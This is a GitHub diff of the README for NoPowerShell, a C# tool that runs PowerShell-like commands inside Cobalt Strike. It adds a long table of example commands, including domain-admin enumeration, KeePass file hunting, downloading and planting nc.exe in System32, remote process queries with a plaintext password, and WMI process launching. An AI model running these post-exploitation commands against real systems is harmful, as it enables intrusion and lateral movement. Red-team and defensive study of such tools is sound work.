You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+78-30Lines changed: 78 additions & 30 deletions
Original file line number
Diff line number
Diff line change
@@ -4,13 +4,11 @@ NoPowerShell is a tool implemented in C# which supports executing PowerShell-lik
4
4
Moreover, this project makes it easy for everyone to extend its functionality using only a few lines of C# code.
5
5
6
6
# Screenshots
7
-
## Currently supported commands
8
-
Running in Cobalt Strike.
7
+
## Running in Cobalt Strike
9
8
![NoPowerShell supported commands](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/CurrentlySupportedCommands.png"NoPowerShell in Cobalt Strike")
10
-
## Sample commands
9
+
## Sample execution of commands
11
10
![NoPowerShell sample commands](https://raw.githubusercontent.com/bitsadmin/nopowershell/master/Pictures/SampleCommands.png"NoPowerShell in Cobalt Strike")
12
11
13
-
14
12
# Usage
15
13
## Note
16
14
When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe character (`|`) with respectively a caret (`^`) or a backtick (`` ` ``), i.e.:
@@ -21,17 +19,55 @@ When using NoPowerShell from cmd.exe or PowerShell, you need to escape the pipe
21
19
## Examples
22
20
| Action | Command | Notes |
23
21
| - | - | - |
24
-
| List help |`NoPowerShell.exe`| Alternative: `NoPowerShell.exe Get-Command`|
25
-
| View status of a service |`NoPowerShell.exe Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"`||
26
-
| Search for KeePass database in C:\Users folder |`NoPowerShell.exe gci C:\Users\ -Force -Recurse -Include *.kdbx \| select Directory,Name,Length`||
27
-
| View system information |`NoPowerShell.exe systeminfo`||
28
-
| List processes on the system |`NoPowerShell.exe Get-Process`||
22
+
| List all commands supported by NoPowerShell |`Get-Command`||
23
+
| Get help for a command |`Get-Help -Name Get-Process`| Alternative: `man ps`|
29
24
| Show current user |`NoPowerShell.exe whoami`| Unofficial command |
30
-
| List autoruns |`NoPowerShell.exe Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run`||
31
-
| List network shares connected to from this machine |`NoPowerShell.exe Get-NetSmbMapping`||
32
-
| Download file |`NoPowerShell.exe wget http://myserver.me/nc.exe`| When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) |
33
-
| List PowerShell processes on remote system |`NoPowerShell.exe gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc1.corp.local \| ? Name -Like "powershell*" \| select ProcessId,CommandLine`| Explicit credentials can be specified using the `-Username` and `-Password` parameters |
34
-
| Execute program using WMI |`NoPowerShell.exe Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"`||
25
+
| List all user groups in domain |`Get-ADGroup -Filter *`||
26
+
| List all administrative groups in domain |`Get-ADGroup -LDAPFilter "(admincount=1)" \| select Name`||
27
+
| List all properties of the Administrator domain user |`Get-ADUser -Identity Administrator -Properties *`||
28
+
| List all Administrative users in domain |`Get-ADUser -LDAPFilter "(admincount=1)"`||
29
+
| List all users in domain |`Get-ADUser -Filter *`||
30
+
| List specific attributes of user |`Get-ADUser Administrator -Properties SamAccountName,ObjectSID`||
31
+
| Show information about the current system |`systeminfo`| Unofficial command |
32
+
| List all processes containing PowerShell in the process name |`Get-Process \| ? Name -Like *PowerShell*`||
33
+
| List all active local users |`Get-LocalUser \| ? Disabled -EQ False`||
34
+
| List all local groups |`Get-LocalGroup`||
35
+
| List details of a specific group |`Get-LocalGroup Administrators`||
36
+
| List all active members of the Administrators group |`Get-LocalGroupMember -Group Administrators \| ? Disabled -eq False`||
37
+
| List all local users |`Get-LocalUser`||
38
+
| List details of a specific user |`Get-LocalUser Administrator`||
39
+
| Copy file from one location to another |`copy C:\Tmp\nc.exe C:\Windows\System32\nc.exe`||
| Locate KeePass files in the C:\Users\ directory |`ls -Recurse -Force C:\Users\ -Include *.kdbx`||
42
+
| List the keys under the SOFTWARE key in the registry |`ls HKLM:\SOFTWARE`||
43
+
| View contents of a file |`Get-Content C:\Windows\WindowsUpdate.log`||
44
+
| List autoruns in the registry |`Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run \| ft`||
45
+
| List processes |`Get-Process`||
46
+
| List processes on remote host |`Get-Process -ComputerName dc01.corp.local -Username Administrator -Password P4ssw0rd!`||
47
+
| Obtain data of Win32_Process class from a remote system and apply a filter on the output |`gwmi "Select ProcessId,Name,CommandLine From Win32_Process" -ComputerName dc01.corp.local \| ? Name -Like *PowerShell* \| select ProcessId,CommandLine`| Explicit credentials can be specified using the `-Username` and `-Password` parameters |
48
+
| View details about a certain service |`Get-WmiObject -Class Win32_Service -Filter "Name = 'WinRM'"`||
49
+
| Launch process using WMI |`Invoke-WmiMethod -Class Win32_Process -Name Create "cmd /c calc.exe"`| This can also be done on a remote system |
50
+
| Delete a read-only file |`Remove-Item -Force C:\Tmp\MyFile.txt`||
51
+
| Recursively delete a folder |`Remove-Item -Recurse C:\Tmp\MyTools\`||
52
+
| Show all network interfaces |`Get-NetIPAddress -All`||
53
+
| Show the IP routing table |`Get-NetRoute`||
54
+
| Send 2 ICMP requests to IP address 1.1.1.1 with half a second of timeout |`Test-NetConnection -Count 2 -Timeout 500 1.1.1.1`||
55
+
| Perform a traceroute with a timeout of 1 second and a maximum of 20 hops |`Test-NetConnection -TraceRoute -Timeout 1000 -Hops 20 google.com`||
56
+
| List network shares on the local machine that are exposed to the network |`Get-NetSmbMapping`||
57
+
| Format output as a list |`Get-LocalUser \| fl`||
58
+
| Format output as a list showing only specific attributes |`Get-LocalUser \| fl Name,Description`||
59
+
| Format output as a table |`Get-Process \| ft`||
60
+
| Format output as a table showing only specific attributes |`Get-Process \| ft ProcessId,Name`||
61
+
| Download file from the Internet |`wget http://myserver.me/nc.exe`| When compiled using .NET 2 only supports SSL up to SSLv3 (no TLS 1.1+) |
62
+
| Download file from the Internet specifying the destination |`wget http://myserver.me/nc.exe -OutFile C:\Tmp\netcat.exe`||
63
+
| Count number of results |`Get-Process \| measure`||
64
+
| Count number of lines in file |`gc C:\Windows\WindowsUpdate.log \| measure`||
65
+
| Show only the Name in a file listing |`ls C:\ \| select Name`||
66
+
| Show first 10 results of file listing |`ls C:\Windows\System32 -Include *.exe \| select -First 10 Name,Length`||
67
+
| List all members of the "Domain Admins" group |`Get-ADGroupMember "Domain Admins"`||
68
+
| Resolve domain name |`Resolve-DnsName microsoft.com`| Alternative: `host linux.org`|
69
+
| List local shares |`Get-WmiObject -Namespace ROOT\CIMV2 -Query "Select * From Win32_Share Where Name LIKE '%$'"`| Alternative: `gwmi -Class Win32_Share -Filter "Name LIKE '%$'"`|
70
+
| Show network interfaces |`Get-NetIPAddress`| Alternatives: `ipconfig`, `ifconfig`|
35
71
36
72
## Install in Cobalt Strike
37
73
1. Copy both NoPowerShell.exe and NoPowerShell.cna to the **scripts** subfolder of Cobalt Strike
@@ -58,7 +94,6 @@ Add your own cmdlets by submitting a pull request.
58
94
Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets. The TemplateCommand cmdlet is hidden from the list of available cmdlets, but can be called in order to understand its workings. This command looks as follows: `Get-TemplateCommand [-MyFlag] -MyInteger [Int32] -MyString [Value]` and is also accessible via alias `gtc`.
59
95
60
96
### Example usages
61
-
62
97
| Action | Command |
63
98
| - | - |
64
99
| Simply run with default values |`gtc`|
@@ -71,41 +106,54 @@ Use the TemplateCommand.cs file in the Commands folder to construct new cmdlets.
71
106
| Command in combination with a couple of data manipulators in the pipe |`gtc "Bye PowerShell" -MyInteger 30 \| ? Attribute2 -Like Line1* \| select Attribute2 \| fl`|
72
107
73
108
Execute the following steps to implement your own cmdlet:
74
-
1. Create a copy of the **TemplateCommand.cs** file.
109
+
1. Download Visual Studio Community from https://visualstudio.microsoft.com/downloads/
110
+
* In the installer select the **.NET desktop development** component.
111
+
* From this component no optional modules are required for developing NoPowerShell modules.
112
+
2. Clone this repository and create a copy of the **TemplateCommand.cs** file.
75
113
* In case you are implementing a native PowerShell command, place it in folder the corresponding to the _Source_ attribute when executing in PowerShell: `Get-Command My-Commandlet`. Example of a native command: `Get-Command Get-Process` -> Source: `Microsoft.PowerShell.Management` -> Place the .cs file in the **Management** subfolder.
76
114
* In case it is a non-native command, place it in the **Additional** folder.
77
-
2. Update the `TemplateCommand` classname and its constructor name.
78
-
3. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps`
79
-
4. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help.
80
-
5. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable.
81
-
6. In the Execute function:
115
+
3. Update the `TemplateCommand` classname and its constructor name.
116
+
4. Update the static **Aliases** variable to the command and aliases you want to use to call this cmdlet. For native PowerShell commands you can lookup the aliases using `Get-Alias | ? ResolvedCommandName -EQ My-Commandlet` to obtain the list of aliases. Always make sure the full command is the first "alias", for example: `Get-Alias | ? ResolvedCommandName -EQ Get-Process` -> Aliases are: `Get-Process`, `gps`, `ps`
117
+
5. Update the static **Synopsis** variable to a small text that describes the command. This will be shown in the help.
118
+
6. Update the arguments supported by the command by adding _StringArguments_, _BoolArguments_ and _IntegerArguments_ to the static **SupportedArguments** variable.
119
+
7. In the Execute function:
82
120
1. Fetch the values of the _StringArguments_, _BoolArguments_ and _IntegerArguments_ as shown in the examples;
83
121
2. Based on the parameters provided by the user, perform your actions;
84
122
3. Make sure all results are stored in the `_results` variable.
85
-
7. Remove all of the template sample code and comments from the file to keep the source tidy.
123
+
8. Remove all of the template sample code and comments from the file to keep the source tidy.
86
124
87
125
# Contributed NoPowerShell cmdlets
88
126
Authors of additional NoPowerShell cmdlets are added to the table below. Moreover, the table lists commands that are requested by the community to add. Together we can develop a powerful NoPowerShell toolkit!
0 commit comments